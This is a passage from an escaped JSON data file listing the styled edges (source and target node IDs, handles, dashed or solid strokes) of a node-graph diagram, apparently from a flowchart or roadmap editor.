\"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3hatcMVLDbMuz73uTx-9P\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__jrH1qE6EnFXL4fTyYU8gRz2-43drPbTwPqJQPyzwYUdBTy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Dg1v9TV-wGSNLPfAals_y\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Py9nst2FDJ1_hoXeX_qSFz2-Dg1v9TV-wGSNLPfAals_yy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Py9nst2FDJ1_hoXeX_qSF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"kcBGBLPuZkuI-Omv8mOe7\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Py9nst2FDJ1_hoXeX_qSFx2-kcBGBLPuZkuI-Omv8mOe7w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kcBGBLPuZkuI-Omv8mOe7\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"cL7vis8H5L2vv6LqJ5wvC\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__kcBGBLPuZkuI-Omv8mOe7x2-741vsAPTXJLVUlazFg0q4w1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cL7vis8H5L2vv6LqJ5wvC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"VHD2ISW9WoSWjp8Hh6Zft\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4x2-VHD2ISW9WoSWjp8Hh6Zftw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"cL7vis8H5L2vv6LqJ5wvC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Sv2aT8eI1RvJhvoKVYQEX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__cL7vis8H5L2vv6LqJ5wvCz2-741vsAPTXJLVUlazFg0q4y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Sv2aT8eI1RvJhvoKVYQEX\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2hFBv2fhKDYBN-9ITs82J\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4x2-2hFBv2fhKDYBN-9ITs82Jw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eQAn3e-k9WNufPqOnwY_K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"v_YmmlOk-DkzJ8mI5Ftgr\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__eQAn3e-k9WNufPqOnwY_Ky2-v_YmmlOk-DkzJ8mI5Ftgrz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"eQAn3e-k9WNufPqOnwY_K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"cwGuOrmbSTcSoH80skLTk\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__eQAn3e-k9WNufPqOnwY_Ky2-cwGuOrmbSTcSoH80skLTkz2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xmKeB4hEi2DunmhAsvS1X\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eQAn3e-k9WNufPqOnwY_K\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-eQAn3e-k9WNufPqOnwY_Kz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7nI202hX41mI5ms9LZonh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"i7X1GfOx5AZYFskepW4Zr\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7nI202hX41mI5ms9LZonhy2-i7X1GfOx5AZYFskepW4Zrz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"7nI202hX41mI5ms9LZonh\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0IMdO7g_5El1elvDXJJ_0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__7nI202hX41mI5ms9LZonhy2-0IMdO7g_5El1elvDXJJ_0z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Sv2aT8eI1RvJhvoKVYQEX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"xmKeB4hEi2DunmhAsvS1X\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__Sv2aT8eI1RvJhvoKVYQEXz2-741vsAPTXJLVUlazFg0q4w1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xmKeB4hEi2DunmhAsvS1X\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"dOAZG-NbjWiVdPKYEhWxj\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__xmKeB4hEi2DunmhAsvS1Xx2-741vsAPTXJLVUlazFg0q4w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"dOAZG-NbjWiVdPKYEhWxj\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PN3xAYfQ-_QgZCRCnsEca\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__dOAZG-NbjWiVdPKYEhWxjy2-741vsAPTXJLVUlazFg0q4z2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PN3xAYfQ-_QgZCRCnsEca\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"rTgjDj5HqbjRpcJ7PR-EC\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4x2-rTgjDj5HqbjRpcJ7PR-ECw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PN3xAYfQ-_QgZCRCnsEca\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-bwXo6xvF1yzyWEm5oZhJ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__PN3xAYfQ-_QgZCRCnsEcay2-741vsAPTXJLVUlazFg0q4z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"f89qL7Cg9R_LTxBEG4jUK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IQhPG1La7dZeSXnX23D1n\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-IQhPG1La7dZeSXnX23D1ny2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"f89qL7Cg9R_LTxBEG4jUK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"z-o-2cGYSM6KW_CNJyw3p\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-z-o-2cGYSM6KW_CNJyw3py1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"f89qL7Cg9R_LTxBEG4jUK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"LXG_znJ3XzPAlDxUH2-Xp\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-LXG_znJ3XzPAlDxUH2-Xpy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VAYxwJH10PFjGS8poKd9-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tHQ6NRVDPCPEOmzgjQDLX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-tHQ6NRVDPCPEOmzgjQDLXy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VAYxwJH10PFjGS8poKd9-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2vQPmVNk1QpMM-15RKG8b\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-2vQPmVNk1QpMM-15RKG8by1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"VAYxwJH10PFjGS8poKd9-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oC6KIjWAXw0hLl4FwkB9F\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-oC6KIjWAXw0hLl4FwkB9Fy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Xs057ESpvxXg2r_rDQnOa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3l1ji4JToj277vpgONmLw\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Xs057ESpvxXg2r_rDQnOaz2-3l1ji4JToj277vpgONmLwy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Xs057ESpvxXg2r_rDQnOa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"uo5HIyePegnJooortvWLu\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Xs057ESpvxXg2r_rDQnOaz2-uo5HIyePegnJooortvWLuy2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Xs057ESpvxXg2r_rDQnOa\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"y0CoNcEFHyz350f7pNddt\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__Xs057ESpvxXg2r_rDQnOaz2-y0CoNcEFHyz350f7pNddty2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fkMF-2PQZ00UdwxhQt1ds\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__fkMF-2PQZ00UdwxhQt1dsz2-741vsAPTXJLVUlazFg0q4y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"aU1lv80xXNkQTD41Qfln5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-aU1lv80xXNkQTD41Qfln5y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oWtWgaFznTPJhQIyfIIQf\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-oWtWgaFznTPJhQIyfIIQfy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DN_iuLo9gYDqU8JleE1WJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-DN_iuLo9gYDqU8JleE1WJy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"KtXww9J0znwzTwL7GKfaY\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-KtXww9J0znwzTwL7GKfaYy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"0ctJa-V6aenimSr5h303J\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-0ctJa-V6aenimSr5h303Jy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"yauCWo1VoG-X483-4mfdn\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4z2-yauCWo1VoG-X483-4mfdny1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"741vsAPTXJLVUlazFg0q4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"75ZjuGozDfoZPLj32P2t2\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-75ZjuGozDfoZPLj32P2t2z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"741vsAPTXJLVUlazFg0q4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KWjIAakMIlxn_jso22h0M\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-KWjIAakMIlxn_jso22h0Mz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"741vsAPTXJLVUlazFg0q4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"SdCNevKjyhFcreMSWY6BT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-SdCNevKjyhFcreMSWY6BTz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"741vsAPTXJLVUlazFg0q4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0CUfDEMwCwSHVdqkP8lOG\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-0CUfDEMwCwSHVdqkP8lOGz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"741vsAPTXJLVUlazFg0q4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"EuOv19jDSj56Cy7PqvtNv\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-EuOv19jDSj56Cy7PqvtNvz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"741vsAPTXJLVUlazFg0q4\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5SF5nO94NFDkHY8UJoeAY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__741vsAPTXJLVUlazFg0q4y2-5SF5nO94NFDkHY8UJoeAYz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wGb0TEDnSe_bmv9Krx4qB\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zFgnu2fL0EUKIMz9tVH1j\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__wGb0TEDnSe_bmv9Krx4qBx2-zFgnu2fL0EUKIMz9tVH1jw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zFgnu2fL0EUKIMz9tVH1j\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"9TcYdsdmvKWWHoyE6uNbC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__zFgnu2fL0EUKIMz9tVH1jz2-9TcYdsdmvKWWHoyE6uNbCy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zFgnu2fL0EUKIMz9tVH1j\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dO9ZfUyNia7L_fCh4d0n7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zFgnu2fL0EUKIMz9tVH1jy2-dO9ZfUyNia7L_fCh4d0n7z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zFgnu2fL0EUKIMz9tVH1j\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fAK7GRKunmoidlD32OBma\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zFgnu2fL0EUKIMz9tVH1jy2-fAK7GRKunmoidlD32OBmaz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zFgnu2fL0EUKIMz9tVH1j\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hRXbAADgRTXEFwbBXeNu7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__zFgnu2fL0EUKIMz9tVH1jy2-hRXbAADgRTXEFwbBXeNu7z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9TcYdsdmvKWWHoyE6uNbC\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"PYgs4niQRlLKCBMfM4qf9\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__9TcYdsdmvKWWHoyE6uNbCw2-PYgs4niQRlLKCBMfM4qf9x1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9TcYdsdmvKWWHoyE6uNbC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"_c_Wq84yIu4ac7e0RzDtC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": 